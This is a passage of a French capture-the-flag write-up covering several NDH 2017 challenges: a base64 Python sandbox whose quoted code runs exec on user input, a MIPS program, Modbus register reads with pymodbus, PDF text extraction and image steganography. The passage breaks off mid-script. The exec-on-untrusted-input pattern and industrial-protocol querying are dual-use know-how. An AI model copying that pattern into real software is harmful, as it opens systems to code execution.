&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;exec_sand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;m_object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;loads&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;You should tell this to the marshal.&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m_object&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scope&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;scope&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;__builtins__&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}}&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Welcome soldier, hope that you speak base64 fluently !&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;user_input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;user_input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;raw_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;b64_Snake &amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;YOUR OUTPUT : &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;byte_code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Error_b64decode :: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;nf&quot;&gt;exec_sand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte_code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;finally&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour la suite du challenge, c’est le fichier space.asm qui nous intéresse. Il contient un assembleur inconnu :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# code to run on MARS
    .data
MEM: .space 112
CHAINE0: .asciiz &quot;\nASCII :: &quot;
CHAINE1: .asciiz &quot; &quot;
CHAINE2: .asciiz &quot;\n&quot;
    .text
main:    la $30, MEM
    li $8, 18
    sw $8, 4($30)
    li $8, 55
    sw $8, 20($30)
    li $8, 42
    sw $8, 8($30)
    li $8, 34
# ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;En recherchant les instructions sur Google, on comprend qu’il s’agit d’une architecture MIPS. En s’intéressant à ce que notre gestionnaire de paquet nous propose sur MIPS :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;dnf search mips
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;On trouve un paquet qui se nomme Mars :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;Nom         : Mars
Architectur : noarch
Époque      : 0
Version     : 4.5
Révision    : 3.fc24
Taille      : 3.3 M
Dépôt       : @System
Depuis le d : fedora
Résumé      : An interactive development environment for programming in MIPS assembly language
URL         : http://courses.missouristate.edu/KenVollmar/MARS/
Licence     : MIT
Description : MARS is a lightweight interactive development environment (IDE) for
            : programming in MIPS assembly language, intended for educational-level
            : use with Patterson and Hennessy&apos;s Computer Organization and Design.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;En exécutant notre code dans cet environnement de développement, on peut récupérer le flag pour remporter l’épreuve.&lt;/p&gt;

&lt;h2 id=&quot;intrinsec--modbus&quot;&gt;Intrinsec : Modbus&lt;/h2&gt;

&lt;p&gt;Pour Modbus, nous avons également une adresse et un port TCP :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;ndh.intrinsec.com:5020
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;On apprend sur Wikipedia que &lt;a href=&quot;https://en.wikipedia.org/wiki/Modbus&quot;&gt;Modbus&lt;/a&gt; est un protocole ouvert pour faire communiquer des automates industriels.&lt;/p&gt;

&lt;p&gt;Il permet de lire ou d’écrire plusieurs valeurs sur des automates connectés à un serveur.
Souvent la requête consiste à dire où l’on veut lire : &lt;em&gt;discrete inputs&lt;/em&gt;, &lt;em&gt;coils&lt;/em&gt;, &lt;em&gt;input registers&lt;/em&gt; ou &lt;em&gt;holding registers&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Pour communiquer avec le serveur qui nous est donné, nous avons utilisé la bibliothèque python pymodbus :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;dnf install pymodbus
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pour commencer, nous avons suivi &lt;a href=&quot;https://pymodbus.readthedocs.io/en/latest/index.html&quot;&gt;la documentation de la bibliothèque&lt;/a&gt;, particulièrement &lt;a href=&quot;https://pymodbus.readthedocs.io/en/latest/examples/synchronous-client.html&quot;&gt;l’exemple d’un client synchrone&lt;/a&gt; pour se familiariser avec la bibliothèque.&lt;/p&gt;

&lt;p&gt;Nous n’avons pas trouvé tout de suite des informations intéressantes, nous avons donc utilisé le code d’un &lt;a href=&quot;https://pymodbus.readthedocs.io/en/latest/examples/modbus-scraper.html&quot;&gt;Scraper Modbus fourni par la documentation&lt;/a&gt; qui nous a permis de trouver des valeurs qui se convertissaient bien en ascii. Ce dernier ne récupérant que 8 caractères, nous n’avions pas le flag entier. Nous avons par contre modifié le parser pour afficher l’appel exact réalisé.&lt;/p&gt;

&lt;p&gt;Nous avons pu ensuite écrire le script suivant pour récupérer le flag :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pymodbus.client.sync&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ModbusTcpClient&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ModbusClient&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ModbusClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ndh.intrinsec.com&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5020&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;rr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read_input_registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Le flag était donc stocké dans un &lt;em&gt;input register&lt;/em&gt;, peu importe &lt;em&gt;l’unit&lt;/em&gt; et il fallait récupérer les valeurs depuis 0, jusqu’à 21. Ensuite on convertit le tableau de bytes en tableau de char que l’on transforme en string.&lt;/p&gt;

&lt;h2 id=&quot;ndh--so-so-funny&quot;&gt;NDH : So so funny&lt;/h2&gt;

&lt;p&gt;Ce challenge nous a donné plus de fil à retordre que prévu. Nous partions d’un PDF sur Kev Adams.&lt;/p&gt;

&lt;p&gt;Nous avons commencé par extraire l’image, un fichier jpg. Nous avons regardé si des informations n’étaient pas cachées dedans en changeant la luminance, ou ajoutées à la fin du fichier mais rien.&lt;/p&gt;

&lt;p&gt;En revenant sur l’analyse du fichier PDF en lui même, nous découvrons plusieurs polices au nom étrange (Comic Sans Kev2, Comic Sans Gad). Nous les extrayons avec l’outil pdf-parser.py mais rien de concluant.&lt;/p&gt;

&lt;p&gt;Au final, nous finissons pas tenter l’outil &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdftotext&lt;/code&gt; qui permet d’extraire le texte d’un PDF. Nous trouvons alors un indice, le texte suivant n’est pas affiché dans le PDF :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;sha1sum(Kev-is-my-god)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Ce qui nous permet d’obtenir le flag :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Kev-is-my-god&quot;&lt;/span&gt; |sha1sum
3d723704f9c1aa8d3ff8b6bcb71c0fa2558f47e2 -
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Le flag final est donc le hash sha1 avec &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ndh2k17_&lt;/code&gt; devant :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;ndh2k17_3d723704f9c1aa8d3ff8b6bcb71c0fa2558f47e2
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;ndh--so-easy&quot;&gt;NDH : So easy&lt;/h2&gt;

&lt;p&gt;Pour ce challenge, nous partions de l’image suivante :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/ndh-chall_soeasy.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/ndh-chall_soeasy.png&quot; alt=&quot;Image de départ&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Aucun outil particulier n’a été nécessaire pour ce challenge à part The Gimp.
On reconnait un empilement de text étiré en bas à gauche de l’image ainsi que plusieurs nombres. Ils semblent indiquer dans quel ordre lire les différents textes étirés, qui sont donc tournés selon un certain angle.&lt;/p&gt;

&lt;p&gt;Je commence donc part isoler ce bout de l’image et à y appliquer les différentes rotations (outil sélection et rotation de Gimp) :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/ndh-chall_soeasy-step.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/ndh-chall_soeasy-step.png&quot; alt=&quot;Étape 1&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ensuite, on peut soit baisser son écran pour lire le texte, soit redimensionner les images (outil de mise à l’échelle). L’idée étant de réduire la hauteur et d’augmenter la largeur :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/ndh-chall_soeasy-final.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/ndh-chall_soeasy-final.png&quot; alt=&quot;Étape finale&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;ndh--jam&quot;&gt;NDH : jam&lt;/h2&gt;

&lt;p&gt;Le challenge commence par le téléchargement d’un fichier binaire inconnu qui se nomme chall. On commence par essayer de deviner ce que c’est :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;$ file chall
chall: romfs filesystem, version 1 104694992 bytes, named rom 59408f02.
$ mkdir chall_fs &amp;amp;&amp;amp; sudo mount ./chall ./chall_fs
$ ls -lah chall_fs
drwxr-xr-x. 1 root    root      32  1 janv.  1970 1jJMM
-rw-r--r--. 1 root    root    4,4K  1 janv.  1970 1vSa
-rw-r--r--. 1 root    root     13K  1 janv.  1970 2YUDgfHb
-rw-r--r--. 1 root    root    5,5K  1 janv.  1970 3Hv
-rw-r--r--. 1 root    root       1  1 janv.  1970 3hYMJS8
-rw-r--r--. 1 root    root       1  1 janv.  1970 4L
-rw-r--r--. 1 root    root     12K  1 janv.  1970 4SN1HuPY
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nous avons donc un système de fichier. Un seul fichier possède un nom avec du sens, il s’appelle init et contient :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FILETYPE=&quot;PNG&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On suppose donc que le fichier à trouver est un fichier PNG. Cependant, il y a beaucoup trop de fichiers pour les vérifier un à un manuellement. J’ai fait le choix d’automatiser la recherche avec python :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;listdir&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os.path&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;magic&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;rec_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mypath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;rec_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mypath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;listdir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mypath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;isfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mypath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))]&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;onlyfiles&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;listdir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mypath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;isfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mypath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;onlyfiles&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;magic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Magic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;id_filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mypath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;PNG&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mypath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;rec_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;./chall_fs&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nous trouvons bien un seul fichier qui contient une image PNG et cette image contient le flag que nous cherchons.&lt;/p&gt;

&lt;h2 id=&quot;ndh--cul-air-code&quot;&gt;NDH : Cul air code&lt;/h2&gt;

&lt;p&gt;Ce challenge commence avec une image :&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/ndh-chOll.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/ndh-chOll.png&quot; alt=&quot;Image départ&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;En utilisant l’outil &lt;a href=&quot;https://github.com/zed-0xff/zsteg&quot;&gt;zsteg&lt;/a&gt; on se rend compte qu’un PNG est caché à la fin de l’image.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;$ zsteg chOll.png
...
extradata:0         .. file: PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;En l’extrayant, on obtient un PNG blanc de 30x30 pixels mais qui contient une autre image PNG à sa fin, etc.
On décide donc d’automatiser l’extraction des images PNG :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;1..200&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
 &lt;span class=&quot;k&quot;&gt;do
   &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;grumpy&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;.png grumpy&lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;i+1&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt;.png
